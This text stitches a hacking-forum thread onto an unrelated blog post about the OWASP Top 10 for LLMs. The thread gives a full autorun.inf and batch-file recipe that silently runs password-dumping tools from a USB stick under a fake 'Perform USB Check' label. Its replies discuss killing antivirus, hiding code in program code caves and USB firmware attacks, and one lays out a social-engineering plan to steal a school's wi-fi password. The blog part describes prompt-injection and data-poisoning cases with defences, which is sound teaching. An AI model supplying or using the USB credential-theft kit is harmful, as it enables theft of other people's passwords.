Copy the program exe's to a flash drive (NOTE: you con find them using google and this is for people who are already a working IT tech or pentester not the average person so don't ask where to get the files as you should already know) NEXT --> Copy all programs to a USB Drive (DO NOT INSTALL THEM TO THE USB DRIVE!). Make a text file and type following in it...... [autorun] open=launch.bat ACTION= Perform USB Check Save the text file as autorun.txt or standard file type for your text editor. Now rename autorun.txt to autorun.inf Now copy this new file to your USB drive. Create another text file and write the folowing text in it...... start mspasssetup.exe /stext mspass.txt start mailpvsetup.exe /stext mailpv.txt start iepvsetup.exe /stext iepv.txt start pspv.exe /stext pspv.txt start passwordfox.exe /stext passwordfox.txt start netpasssetup.exe /stext netpass.exe start webbrowserpassview_setup.exe /stext webbrowserpassview.txt Now save this file as launch.txt Now rename launch.txt to launch.bat Save this new file to your USB drive (Remember that other tools can be used in this way also) Plug your USB drive into a computer and a box will pop up on the screen that says “Preform USB Check”. Click on it! All passwords will be saved in text files. When checking on your own computer to see what passwords you have collected do not click “Preform USB Check”! Just open in a file manager mode! I actual use the following now--> start BulletsPassView.exe /stext BulletsPassView.txt start ChromePass.exe /stext ChromePass.txt start Dialupass.exe /stext Dialupass.txt start iepv.exe /stext iepv.txt start mailpv.exe /stext mailpv.txt start mspass.exe /stext mspass.txt start netpass.exe /stext netpass.txt start OperaPassView.exe /stext OperaPassView.txt start PasswordFox.exe /stext PasswordFox.txt start pspv.exe /stext pspv.txt start PstPassword.exe /stext PstPassword.txt start rdpv.exe /stext rdpv.txt start RemotePocketAsterisk.exe /stext RemotePocketAsterisk.txt start RouterPassView.exe /stext RouterPassView.txt start SniffPass.exe /stext SniffPass.txt start VNCPassView.exe /stext VNCPassView.txt start PocketAsterisk.exe /stext PocketAsterisk.txt start WebBrowserPassView.exe /stext WebBrowserPassView.txt start WirelessKeyView.exe /stext WirelessKeyView.txt start BulletsPassView.exe /staxt BulletsPassView.txt If you know how to make this better please let me know!
Correction for the top--> download the zips that have the .exe with the read me text files! delete all the read me text files as they are not needed at all and can make it confusing later on. ONLY PUT THE .EXE FILES FROM THE ZIPFILES ON THE USB!!!!!!!!!!!!!!!!!!!!!!!!
Really cool idea, tried it myself yet I never got the "Preform USB Check" pop-up and had to run the batch file manually. And it seems that it runs somewhat differently on all 3 PC's in my home (2 are Windows 8.1, other one is Windows 7). Some exe's get blocked by Avast, and on one PC the process seems to crash when it tried to run the first command.
Thanks, Nibiru! I need as much input for this project as I can get. I have found that IT SOMETIMES WORKS ON MY XP laptop but now that I installed service pack 3 it no longer starts correctly. I'm not sure why. All the programs listed above will work but you have to remember that they are true hacking tools and anti-virus software should try to protect the system from the tools. If you are using this as a password recovery tool, just uninstall or turn off the anti-virus. I have a dream of turning this into a all in one hacking tool where maybe one day it will get to the point that all you have to do is plug it in to a computer and you get all the info you need. I need to find a way to make it disable the anti-virus first. ZIP BOMB MAYBE?
I really like this, I tried it but my McAfee was instantly detecting them and I even turned off live scanning and it still was detecting them. Also, I was trying to do this where it instantly runs my USB upon plugging it in but someone told me in a windows update that they disabled auto running from USB. Any advice? I got most of it to work except I had to manually run the bat file.
Ok, so more input from me, might be helpful since I tested it on 3 different configurations. I had to run the batch file manually on every PC. On my main PC, I have both Avast (free version) and COMODO Firewall running. Seems that COMODO really does it's job as it automatically sandboxes all processes (green border around every password recovery window) and asks what it should do with them (that's the PC with Windows 8.1). I did specifically save one password on firefox to see if it recovers it, but PasswordFox shows an error saying "Failed to initialize the decryption library of Firefox" (maybe b/c the process is sandboxed?). The next PC is running Windows 7 and Avast (no COMODO) things seem to run nicely, and a few passwords are recovered from Chrome (passwords saved for certain websites) but not the password for the google account that chrome automatically logs on. Avast seems to quarantine only one file and that is the RouterPassView exe's and it removes it from the USB (it was the same behavior on my main PC). On the last PC running Windows 8.1 and Avast some wired stuff happens and the cmd process seems to hang when running the first command. (P.S. idk if I should be scared about posting a lot of info about my configuration like this)
@matthewfalanga This might help you out: http://www.robvanderwoude.com/batchstart.php Lots of fun stuff on it [autorun]open=launch.bat ACTION= Not stealing passwords :)
Thank you crazygameguy, Nibiru and Doktor Frankenstein! All of this information will help me improve this. Hopefully, one day this will turn out to be a perfect hacking tool. As far as USB devices not being able to auto boot, my Western Digital My Passport auto boots the password and decryption program every time on all windows platforms even the OS's before XP. My WD passport is actually the reason I started this project. If it can autoboot then a flash drive can as well. the biggest hurdle will to make the programs run without Anti-virus detection or to write new programs that will do the same but is un familiar to the anti-virus. Or to maybe have the first program that runs kill any anti-virus tasks.
There was a video on youtube from one of the conferences that explained how two German guys hacked a usb's firmware. Autorun was avoided because the system unknowingly ran the program embedded in the firmware upon registration.
Thanks KnightOfRen
Seems to become a handy tool. Gonna try it later or tomorrow on my setup. Got some Win7, WIn8 & Win10 PCs around with different AV software on them. Gonna report later on.
@THEBLACKMASK666 That's alright. I found it interesting that even if you formatted the usb, because the firmware was stored on the chip instead of the flashdrive, the hack was left intact. They installed a meterpreter using this method.
KingOfRen, you might of just solved one of my problems! Thanks a lot!
@THEBLACKMASK666 No problem. It's a bit iffy to do, but a fun little project. Those of a darker persuasion could be tempted to buy a box and leave them strewn across the streets.
KnightOfRen, Iffy is not impossible and worth a try! Also, yes it is very fun!
Sorry to everyone who has been helping me with this project. I have been in the hospital a lot but I am still dedicated to this. While I am ill and in and out the hospital, I hope there is someone who can keep this project going. Thanks to you all for all your help and support!
Oh noez, hope you are doing ok. Wish you get better ASAP.
My first thought was to run a script to kill the av processes, but actually you need to kill the services first, then you can kill the processes. Any who found a nice article that might put you on the right path.https://blog.netspi.com/10-evil-user-tricks-for-bypassing-anti-virus
Thank you Nibiru and I will try to look at this as soon as possible asdf1nit.
Hope you're doing well @THEBLACKMASK666 The other thing I forgot to mention, if you're looking for something to hide the program in, there's a program (I won't name it on here) that can hide your code in other programs code caves. It would alter the hash of the program, but who really checks those?
KnightOfRen, you can email me @ matthewfalanga1983@live.com to give info that you think is not safe to put here and thanks again for your help!
I am still in the hospital and still working on this and it has been brought to my attention that security on USB Pen Drives is being beefed up by the companies making them. Please do not let this discourage you as SD, Mini SD, Micro SD and other media cards can be used in the same way and have less security and restrictions then USB Pen Drives!
So basically your trying to create your own version of the USB switchblade? I hate to break it to you but you will never get your bat files on the USB to auto-run. This is due to that windows fix that vulnerability back in the windows XP days thanks to the USB Switchblade. Older system like windows 2000 and below are still vulnerable to this attack. What you would need is a USB stick that was U3 smart drive that enable this option.
thnx!
I would never save a password on any physical device. Lock it in a drawer and lock the door too.
@nerv we've already established this hurdle. I presented him a way to put his code onto the actual chip of the usb drive instead of on the flash drive, the code is passed over when the usb establishes a handshake and registers with the computer.
okey!
I have also noticed that on my computer, if it is in safe mode, this works perfectly.
I finally loaded Kali Linux to a Micro SD card then used an old computer as a test subject and also a new one. On the new computer (MSI MOBO w/ AMD HEXcore CPU and basics of everything else) it worked better then what I am trying to make, however, on the old computer I could not get Kali to boot. With this in mind and the facts that not everyone is in a rush to upgrade, I still think this is well worth the effort.
This is a similar version of LUpen.
Up
Maybe it might be a good idea to make an OS based on Kali but aimed at older computers and also use Kali for newer computers. What do you all think?
Very informative thread. Nice to know all this.
Thanks KalBhairav
Thank you going to look it over
Just to inform everyone, I have a group of collage students working on my last idea but they are adding on to my idea. They are making a OS that would have to boot from a USB Flash Drive. This OS would be able to scan the hard drive of the host computer and pull passwords and user names. currently after boot, with the push of a button 10% of the time it can pull passwords from Windows 10 and the percentage goes up with older OSes. I know that currently the percentage is low but to see some success is promising. If I get this OS working at 90% I will give everyone who put input to help me a download link for it. Everyone who posted here to help me will be listed in the credits as well as the college team. Afterwords the OS will only be given to select people. Thanks to everyone for your help!
thanks
welcome
Thanks!...but some of those programs are blocked by AV..
@matthewfalanga Way to go man ! I'm currently in the process of writing a "proof of concept" an android app that can turn on mobile hot-spot and switch the src attribute in all img tags in all http traffic, kind of like an intercepting proxy that works on an android phone. Learning to use linux on mobile phones is fun (ofc the phone needs to be rooted and the applications needs root permission!) One time I saw a guy that had some kind of app on his tablet. He plugged his tablet to some PC and from his tablet he could use wget to download some image off the internet and change the wallpaper on the PC. I think it might be because he wrote some usb drivers which introduced the usb connection as a keyboard and then he could execute arbitrary commands as a keyboard from his application. Anyway I thought it was an interesting way of doing it.
Also is installing Kali linux on a Rasbperry Pi something similar to what you guys are doing ? Ive been using it like that for a while now. How are the permissions different when you are plugging into an SD card card slot on a PC as compared to a USB ?
Its weird to read "only special ppl" thing on website that prom0tes free knowledge.... im not exactly supporting this approach and strongly suggest to mind open source. that being said, i rather recommend you to look into HID attacks rather than trying to circumvent the autorun issue. Its just so 9tees and has been fixed mostly. Last years blackhat and defcon should be a good point t0 start. To the project, a simple HID script on a modded usb device could help you out either. Theres no other easy way around, the reason why your friends at college are going to develop a dedicated OS. Which is cool n all, but how would you go about forcing the OS to boot. And thats another point decreasing the efficiency of this "attack".... the need to reboot. dont get me wrong, i know recovery tool all cool nahnah... reading your lines and intents, websure can.talk about attack here, or the booting and autorun issue wouldnt be issues at all... A HID attack makes this obsolete... the easiest way is a nethunter device, more advanced way is modding suitable usb. writE a ducky payload script and there you go. This is far more powerful imho. You could even reverse engineer the code of certain exe files mentioned here, get to know what they do, translate that code or the stuff you need into your script if possible and you wont ever have AV problems again as the device is physically a keyboard .... only entering keystrokes.... again, to encourage ppl to learn and share i strongly suggest to develop an open sourced mind ^^ as you may gu3ss, i wouldnt even be interested in your tool, as there are many more up to date and efficient ways... no offence, i just want to underline my statement. This is the idea of open source, things will only get forward and tools more advanced if all act as a community. Theres no benefit at all if you keep your ideas and you rstrict yourself getting from creative to innOvative which i.e. differs the occassional script kid or even the IT professional from the expert and the real hacker. Cheers ^^
Good point @cyclex25 and I agree. There is more benefits in making it open source, "given enough eyeballs, all bugs are shallow" and all that (The Cathedral and the Bazaar is on my to-read list after I finish reading this Black Hat Python book), even tho the community part speaks stronger to me. I can post a link to my github android transparent intercepting proxy when more stuff works and I won't be ashamed to call the code my own, which needs some serious refactoring xD and of course if there is someone interested. Maybe it will be useful for educational purposes since I know there is more advanced tools like cSploit or zANTI available right now.
Thanks
never feel ashamed for your code, mind you´re lightyears ahead of those not coding (well at least in terms of coding). sharing your code will help you becoming a better programmer. contributing ppl will lead you to new creative input and sure help you becoming better too. csploit an zanti are great. though they have password/login options, they´re just not dedicated recovery tools and won't be much of a help. no hash cracking i.e. my opinion, your best bet on a phone, i´d strongly recommend getting a nethunter device. its expensive yeah.... stop at that thought and have a look for the price of a pwnphone express. i got my "pwnphone" for roughly 300 bucks altogether, so i saved wopping 1000 dollars! it even makes both apps obsolete, just more convenient having an app aside nethunters kali and the nethunter app. i barely use smth else than these 3 ones.... nethunter being really advanced, but a pain in the * to get properly running everything in there. i love it, cause its just way more powerful than my old phones kali install. well, sorry getting off topic. i get way too much excited when ppl talk about phone stuff here, some dedicated section here is REALLY needed. have fun, cheers
Cyclex25 motivated me to write my ideas about stealing passwords using USB devices. It may sound a bit off topic, but I just want to share my ideas with the community and maybe someone could improve them. So, actually my goal is to get password of our school's wi-fi. I won't use it or share with anyone, it's just a fun challenge for me. My plan is mostly social engineering actually, but it is closely related to computer hacking. Also I'm a newbie in hacking, but with pretty good background mostly in coding, so don't expect anything super OP in my plan. My text appears to be a bit big, but it's even not a detailed plan. Maybe there are some unnecessary details (like this sentence), sorry for them. I'll begin by creating a USB that have the following on it: 1. Hidden text file that contains info about the owner of the stick 2. Directory containing script launching file for stealing a password 3. Script that prompts current network password (“Ooops, it’s not me”) My rough scenario of how everything will be done: Preparation: - Create all of this files - I need a second person to be a USB stick "owner" - Find a time when the victim is alone in her cabinet Action: - "Owner" comes to our head teacher or deputy director (actually anyone with access to the wifi and w/o good computer knowledge) to ask for or do something documents or education related. He/she should pretend to be in hurry and do everything very fast. "Owner" just does whatever he/she "needs" and leaves. - Next I come to ask something similar (it will likely be revision of my exam results) holding a USB stick in my hand (victim shouldn't see it). When I ask my question I "notice" a USB stick on the floor and "pick it up" asking if it's my victim's property. The answer is expected to be "no". - If the victim says "no" I ask her for permission to use her computer and find out who is the owner (she has no idea that it's kinda impossible in reality). - If the victim allows me to do it I first attempt to run an app (2) that saves passwords to the stick (everything will be done via terminal since victim can understand what I'm doing in GUI). If it works - I'm done, I open a file that contains owner information (1). The first file is used by me, as we in Russia say, to come out dry from the water. I just show that it's my friend and say that I'll return it to owner, or let the victim do it herself. - If the app doesn't work, I'll use the app 3. It will create a dialogue box which prompts for wifi network password. I say that I didn't cause it and she should enter the password which is then being saved to the USB and I repeat the end of previous paragraph. - If the victim doesn't allow me to use her computer or pretends to be the owner of the USB stick - there is the script (2) called "Info about the owner" or sth similar, so if she is curious enough she'll open this file and her passwords will be saved to the stick and the "owner" displayed, so she'll be able to return the stick to my friend. It's not a complete plan and I don't think it will happen exactly like I think, but I'll do my best to stick to this plan. Also I'm thinking of expanding it: make victim's computer accessible by me, make an autorun app on the USB stick (that's what I was searching for when I found this topic). That's it for now, sorry if my grammar isn't very good, English is not my native language. I hope you understand my idea. Critique is appreciated.
Nibiru, Take a look at Kali Linux NetHunter. I have seen people using NetHunter from a tablet to fully reconfigure a computer.
Here's a site that has plenty of hacking tricks and tutorials - www.haxf4rall.com
SterJo website is also another great start for hacking tips and tricks. You can find lots of cool tools for hacking there, just go to http://www.sterjosoft.com and check it out
Looks like all the programs on http://www.sterjosoft.com are loaded either with PUM's or PUP's!! :(
Where is the download link?
thx for the info
The Open Worldwide Application Security Project (OWASP) is a community-led organization and has been around for over 20 years and is largely known for its Top 10 web application security risks (check out our course on it). As the use of generative AI and large language models (LLMs) has exploded recently, so too has the risk to privacy and security by these technologies. OWASP, leading the charge for security, has come out with its Top 10 for LLMs and Generative AI Apps this year. In this blog post we’ll explore the Top 10 risks and explore examples of each as well as how to prevent these risks.
LLM01: Prompt Injection
Those familiar with the OWASP Top 10 for web applications have seen the injection category before at the top of the list for many years. This is no exception with LLMs and ranks as number one. Prompt Injection can be a critical vulnerability in LLMs where an attacker manipulates the model through crafted inputs, leading it to execute unintended actions. This can result in unauthorized access, data exfiltration, or social engineering. There are two types: Direct Prompt Injection, which involves "jailbreaking" the system by altering or revealing underlying system prompts, giving an attacker access to backend systems or sensitive data, and Indirect Prompt Injection, where external inputs (like files or web content) are used to manipulate the LLM's behavior.
As an example, an attacker might upload a resume containing an indirect prompt injection, instructing an LLM-based hiring tool to favorably evaluate the resume. When an internal user runs the document through the LLM for summarization, the embedded prompt makes the LLM respond positively about the candidate’s suitability, regardless of the actual content.
How to prevent prompt injection:
- Limit LLM Access: Apply the principle of least privilege by restricting the LLM's access to sensitive backend systems and enforcing API token controls for extended functionalities like plugins.
- Human Approval for Critical Actions: For high-risk operations, require human validation before executing, ensuring that the LLM's suggestions are not followed blindly.
- Separate External and User Content: Use frameworks like ChatML for OpenAI API calls to clearly differentiate between user prompts and untrusted external content, reducing the chance of unintentional action from mixed inputs.
- Monitor and Flag Untrusted Outputs: Regularly review LLM outputs and mark suspicious content, helping users to recognize potentially unreliable information.
LLM02: Insecure Output Handling
Insecure Output Handling occurs when the outputs generated by a LLM are not properly validated or sanitized before being used by other components in a system. Since LLMs can generate various types of content based on input prompts, failing to handle these outputs securely can introduce risks like cross-site scripting (XSS), server-side request forgery (SSRF), or even remote code execution (RCE). Unlike Overreliance (LLM09), which focuses on the accuracy of LLM outputs, Insecure Output Handling specifically addresses vulnerabilities in how these outputs are processed downstream.
As an example, there could be a web application that uses an LLM to summarize user-provided content and renders it back in a webpage. An attacker submits a prompt containing malicious JavaScript code. If the LLM’s output is displayed on the webpage without proper sanitization, the JavaScript will execute in the user’s browser, leading to XSS. Alternatively, if the LLM’s output is sent to a backend database or shell command, it could allow SQL injection or remote code execution if not properly validated.
How to prevent Insecure Output Handling:
- Zero-Trust Approach: Treat the LLM as an untrusted source, applying strict allow list validation and sanitization to all outputs it generates, especially before passing them to downstream systems or functions.
- Output Encoding: Encode LLM outputs before displaying them to end users, particularly when dealing with web content where XSS risks are prevalent.
- Adhere to Security Standards: Follow the OWASP Application Security Verification Standard (ASVS) guidelines, which provide strategies for input validation and sanitization to protect against code injection risks.
LLM03: Training Data Poisoning
Training Data Poisoning refers to the manipulation of the data used to train LLMs, introducing biases, backdoors, or vulnerabilities. This tampered data can degrade the model's effectiveness, introduce harmful biases, or create security flaws that malicious actors can exploit. Poisoned data could lead to inaccurate or inappropriate outputs, compromising user trust, harming brand reputation, and increasing security risks like downstream exploitation.
As an example, there could be a scenario where an LLM is trained on a dataset that has been tampered with by a malicious actor. The poisoned dataset includes subtly manipulated content, such as biased news articles or fabricated facts. When the model is deployed, it may output biased information or incorrect details based on the poisoned data. This not only degrades the model’s performance but can also mislead users, potentially harming the model’s credibility and the organization’s reputation.
How to prevent Training Data Poisoning:
- Data Validation and Vetting: Verify the sources of training data, especially when sourcing from third-party datasets. Conduct thorough checks on data integrity, and where possible, use trusted data sources.
- Machine Learning Bill of Materials (ML-BOM): Maintain an ML-BOM to track the provenance of training data and ensure that each source is legitimate and suitable for the model’s purpose.
- Sandboxing and Network Controls: Restrict access to external data sources and use network controls to prevent unintended data scraping during training. This helps ensure that only vetted data is used for training.
- Adversarial Robustness Techniques: Implement strategies like federated learning and statistical outlier detection to reduce the impact of poisoned data. Periodic testing and monitoring can identify unusual model behaviors that may indicate a poisoning attempt.
- Human Review and Auditing: Regularly audit model outputs and use a human-in-the-loop approach to validate outputs, especially for sensitive applications. This added layer of scrutiny can catch potential issues early.
LLM04: Model Denial of Service
Model Denial of Service (DoS) is a vulnerability in which an attacker deliberately consumes an excessive amount of computational resources by interacting with a LLM. This can result in degraded service quality, increased costs, or even system crashes. One emerging concern is manipulating the context window of the LLM, which refers to the maximum amount of text the model can process at once. This makes it possible to overwhelm the LLM by exceeding or exploiting this limit, leading to resource exhaustion.
As an example, an attacker may continuously flood the LLM with sequential inputs that each reach the upper limit of the model’s context window. This high-volume, resource-intensive traffic overloads the system, resulting in slower response times and even denial of service. As another example, if an LLM-based chatbot is inundated with a flood of recursive or exceptionally long prompts, it can strain computational resources, causing system crashes or significant delays for other users.
How to prevent Model Denial of Service:
- Rate Limiting: Implement rate limits to restrict the number of requests from a single user or IP address within a specific timeframe. This reduces the chance of overwhelming the system with excessive traffic.
- Resource Allocation Caps: Set caps on resource usage per request to ensure that complex or high-resource requests do not consume excessive CPU or memory. This helps prevent resource exhaustion.
- Input Size Restrictions: Limit input size according to the LLM's context window capacity to prevent excessive context expansion. For example, inputs exceeding a predefined character limit can be truncated or rejected.
- Monitoring and Alerts: Continuously monitor resource utilization and establish alerts for unusual spikes, which may indicate a DoS attempt. This allows for proactive threat detection and response.
- Developer Awareness and Training: Educate developers about DoS vulnerabilities in LLMs and establish guidelines for secure model deployment. Understanding these risks enables teams to implement preventative measures more effectively.
LLM05: Supply Chain Vulnerabilities
Supply Chain attacks are incredibly common and this is no different with LLMs, which, in this case refers to risks associated with the third-party components, training data, pre-trained models, and deployment platforms used within LLMs. These vulnerabilities can arise from outdated libraries, tampered models, and even compromised data sources, impacting the security and reliability of the entire application. Unlike traditional software supply chain risks, LLM supply chain vulnerabilities extend to the models and datasets themselves, which may be manipulated to include biases, backdoors, or malware that compromises system integrity.
As an example, an organization uses a third-party pre-trained model to conduct economic analysis. If this model is poisoned with incorrect or biased data, it could generate inaccurate results that mislead decision-making. Additionally, if the organization uses an outdated plugin or compromised library, an attacker could exploit this vulnerability to gain unauthorized access or tamper with sensitive information. Such vulnerabilities can result in significant security breaches, financial loss, or reputational damage.
How to prevent Supply Chain Vulnerabilities:
- Vet Third-Party Components: Carefully review the terms, privacy policies, and security measures of all third-party model providers, data sources, and plugins. Use only trusted suppliers and ensure they have robust security protocols in place.
- Maintain a Software Bill of Materials (SBOM): An SBOM provides a complete inventory of all components, allowing for quick detection of vulnerabilities and unauthorized changes. Ensure that all components are up-to-date and apply patches as needed.
- Use Model and Code Signing: For models and external code, employ digital signatures to verify their integrity and authenticity before use. This helps ensure that no tampering has occurred.
- Anomaly Detection and Robustness Testing: Conduct adversarial robustness tests and anomaly detection on models and data to catch signs of tampering or data poisoning. Integrating these checks into your MLOps pipeline can enhance overall security.
- Implement Monitoring and Patching Policies: Regularly monitor component usage, scan for vulnerabilities, and patch outdated components. For sensitive applications, continuously audit your suppliers’ security posture and update components as new threats emerge.
LLM06: Sensitive Information Disclosure
Sensitive Information Disclosure in LLMs occurs when the model inadvertently reveals private, proprietary, or confidential information through its output. This can happen due to the model being trained on sensitive data or because it memorizes and later reproduces private information. Such disclosures can result in significant security breaches, including unauthorized access to personal data, intellectual property leaks, and violations of privacy laws.
As an example, there could be an LLM-based chatbot trained on a dataset containing personal information such as users’ full names, addresses, or proprietary business data. If the model memorizes this data, it could accidentally reveal this sensitive information to other users. For instance, a user might ask the chatbot for a recommendation, and the model could inadvertently respond with personal information it learned during training, violating privacy rules.
How to prevent Sensitive Information Disclosure:
- Data Sanitization: Before training, scrub datasets of personal or sensitive information. Use techniques like anonymization and redaction to ensure no sensitive data remains in the training data.
- Input and Output Filtering: Implement robust input validation and sanitization to prevent sensitive data from entering the model’s training data or being echoed back in outputs.
- Limit Training Data Exposure: Apply the principle of least privilege by restricting sensitive data from being part of the training dataset. Fine-tune the model with only the data necessary for its task, and ensure high-privilege data is not accessible to lower-privilege users.
- User Awareness: Make users aware of how their data is processed by providing clear Terms of Use and offering opt-out options for having their data used in model training.
- Access Controls: Apply strict access control to external data sources used by the LLM, ensuring that sensitive information is handled securely throughout the system
LLM07: Insecure Plugin Design
Insecure Plugin Design vulnerabilities arise when LLM plugins, which extend the model’s capabilities, are not adequately secured. These plugins often allow free-text inputs and may lack proper input validation and access controls. When enabled, plugins can execute various tasks based on the LLM’s outputs without further checks, which can expose the system to risks like data exfiltration, remote code execution, and privilege escalation. This vulnerability is particularly dangerous because plugins can operate with elevated permissions while assuming that user inputs are trustworthy.
As an example, there could be a weather plugin that allows users to input a base URL and query. An attacker could craft a malicious input that directs the LLM to a domain they control, allowing them to inject harmful content into the system. Similarly, a plugin that accepts SQL “WHERE” clauses without validation could enable an attacker to execute SQL injection attacks, gaining unauthorized access to data in a database.
How to prevent Insecure Plugin Design:
- Enforce Parameterized Input: Plugins should restrict inputs to specific parameters and avoid free-form text wherever possible. This can prevent injection attacks and other exploits.
- Input Validation and Sanitization: Plugins should include robust validation on all inputs. Using Static Application Security Testing (SAST) and Dynamic Application Security Testing (DAST) can help identify vulnerabilities during development.
- Access Control: Follow the principle of least privilege, limiting each plugin's permissions to only what is necessary. Implement OAuth2 or API keys to control access and ensure only authorized users or components can trigger sensitive actions.
- Manual Authorization for Sensitive Actions: For actions that could impact user security, such as transferring files or accessing private repositories, require explicit user confirmation.
- Adhere to OWASP API Security Guidelines: Since plugins often function as REST APIs, apply best practices from the OWASP API Security Top 10. This includes securing endpoints and applying rate limiting to mitigate potential abuse.
LLM08: Excessive Agency
Excessive Agency in LLM-based applications arises when models are granted too much autonomy or functionality, allowing them to perform actions beyond their intended scope. This vulnerability occurs when an LLM agent has access to functions that are unnecessary for its purpose or operates with excessive permissions, such as being able to modify or delete records instead of only reading them. Unlike Insecure Output Handling, which deals with the lack of validation on the model’s outputs, Excessive Agency pertains to the risks involved when an LLM takes actions without proper authorization, potentially leading to confidentiality, integrity, and availability issues.
As an example, there could be an LLM-based assistant that is given access to a user's email account to summarize incoming messages. If the plugin that is used to read emails also has permissions to send messages, a malicious prompt injection could trick the LLM into sending unauthorized emails (or spam) from the user's account.
How to prevent Excessive Agency:
- Restrict Plugin Functionality: Ensure plugins and tools only provide necessary functions. For example, if a plugin is used to read emails, it should not include capabilities to delete or send emails.
- Limit Permissions: Follow the principle of least privilege by restricting plugins’ access to external systems. For instance, a plugin for database access should be read-only if writing or modifying data is not required.
- Avoid Open-Ended Functions: Avoid functions like “run shell command” or “fetch URL” that provide broad system access. Instead, use plugins that perform specific, controlled tasks.
- User Authorization and Scope Tracking: Require plugins to execute actions within the context of a specific user's permissions. For example, using OAuth with limited scopes helps ensure actions align with the user’s access level.
- Human-in-the-Loop Control: Require user confirmation for high-impact actions. For instance, a plugin that posts to social media should require the user to review and approve the content before it is published.
- Authorization in Downstream Systems: Implement authorization checks in downstream systems that validate each request against security policies. This prevents the LLM from making unauthorized changes directly.
LLM09: Overreliance
Overreliance occurs when users or systems trust the outputs of a LLM without proper oversight or verification. While LLMs can generate creative and informative content, they are prone to “hallucinations” (producing false or misleading information) or providing authoritative-sounding but incorrect outputs. Overreliance on these models can result in security risks, misinformation, miscommunication, and even legal issues, especially if LLM-generated content is used without validation. This vulnerability becomes especially dangerous in cases where LLMs suggest insecure coding practices or flawed recommendations.
As an example, there could be a development team using an LLM to expedite the coding process. The LLM suggests an insecure code library, and the team, trusting the LLM, incorporates it into their software without review. This introduces a serious vulnerability. As another example, a news organization might use an LLM to generate articles, but if they don’t validate the information, it could lead to the spread of disinformation.
How to prevent Overreliance:
- Regular Monitoring and Review: Implement processes to review LLM outputs regularly. Use techniques like self-consistency checks or voting mechanisms to compare multiple model responses and filter out inconsistencies.
- Cross-Verification: Compare the LLM’s output with reliable, trusted sources to ensure the information’s accuracy. This step is crucial, especially in fields where factual accuracy is imperative.
- Fine-Tuning and Prompt Engineering: Fine-tune models for specific tasks or domains to reduce hallucinations. Techniques like parameter-efficient tuning (PET) and chain-of-thought prompting can help improve the quality of LLM outputs.
- Automated Validation: Use automated validation tools to cross-check generated outputs against known facts or data, adding an extra layer of security.
- Risk Communication: Clearly communicate the limitations of LLMs to users, highlighting the potential for errors. Transparent disclaimers can help manage user expectations and encourage cautious use of LLM outputs.
- Secure Coding Practices: For development environments, establish guidelines to prevent the integration of potentially insecure code. Avoid relying solely on LLM-generated code without thorough review.
LLM10: Model Theft
Model Theft refers to the unauthorized access, extraction, or replication of proprietary LLMs by malicious actors. These models, containing valuable intellectual property, are at risk of exfiltration, which can lead to significant economic and reputational loss, erosion of competitive advantage, and unauthorized access to sensitive information encoded within the model. Attackers may steal models directly from company infrastructure or replicate them by querying APIs to build shadow models that mimic the original. As LLMs become more prevalent, safeguarding their confidentiality and integrity is crucial.
As an example, an attacker could exploit a misconfiguration in a company’s network security settings, gaining access to their LLM model repository. Once inside, the attacker could exfiltrate the proprietary model and use it to build a competing service. Alternatively, an insider may leak model artifacts, allowing adversaries to launch gray box adversarial attacks or fine-tune their own models with stolen data.
How to prevent Model Theft:
- Access Controls and Authentication: Use Role-Based Access Control (RBAC) and enforce strong authentication mechanisms to limit unauthorized access to LLM repositories and training environments. Adhere to the principle of least privilege for all user accounts.
- Supplier and Dependency Management: Monitor and verify the security of suppliers and dependencies to reduce the risk of supply chain attacks, ensuring that third-party components are secure.
- Centralized Model Inventory: Maintain a central ML Model Registry with access controls, logging, and authentication for all production models. This can aid in governance, compliance, and prompt detection of unauthorized activities.
- Network Restrictions: Limit LLM access to internal services, APIs, and network resources. This reduces the attack surface for side-channel attacks or unauthorized model access.
- Continuous Monitoring and Logging: Regularly monitor access logs for unusual activity and promptly address any unauthorized access. Automated governance workflows can also help streamline access and deployment controls.
- Adversarial Robustness: Implement adversarial robustness training to help detect extraction queries and defend against side-channel attacks. Rate-limit API calls to further protect against data exfiltration.
- Watermarking Techniques: Embed unique watermarks within the model to track unauthorized copies or detect theft during the model’s lifecycle.
Wrapping it all up
As LLMs continue to grow in capability and integration across industries, their security risks must be managed with the same vigilance as any other critical system. From Prompt Injection to Model Theft, the vulnerabilities outlined in the OWASP Top 10 for LLMs highlight the unique challenges posed by these models, particularly when they are granted excessive agency or have access to sensitive data. Addressing these risks requires a multifaceted approach involving strict access controls, robust validation processes, continuous monitoring, and proactive governance.
For technical leadership, this means ensuring that development and operational teams implement best practices across the LLM lifecycle starting from securing training data to ensuring safe interaction between LLMs and external systems through plugins and APIs. Prioritizing security frameworks such as the OWASP ASVS, adopting MLOps best practices, and maintaining vigilance over supply chains and insider threats are key steps to safeguarding LLM deployments. Ultimately, strong leadership that emphasizes security-first practices will protect both intellectual property and organizational integrity, while fostering trust in the use of AI technologies.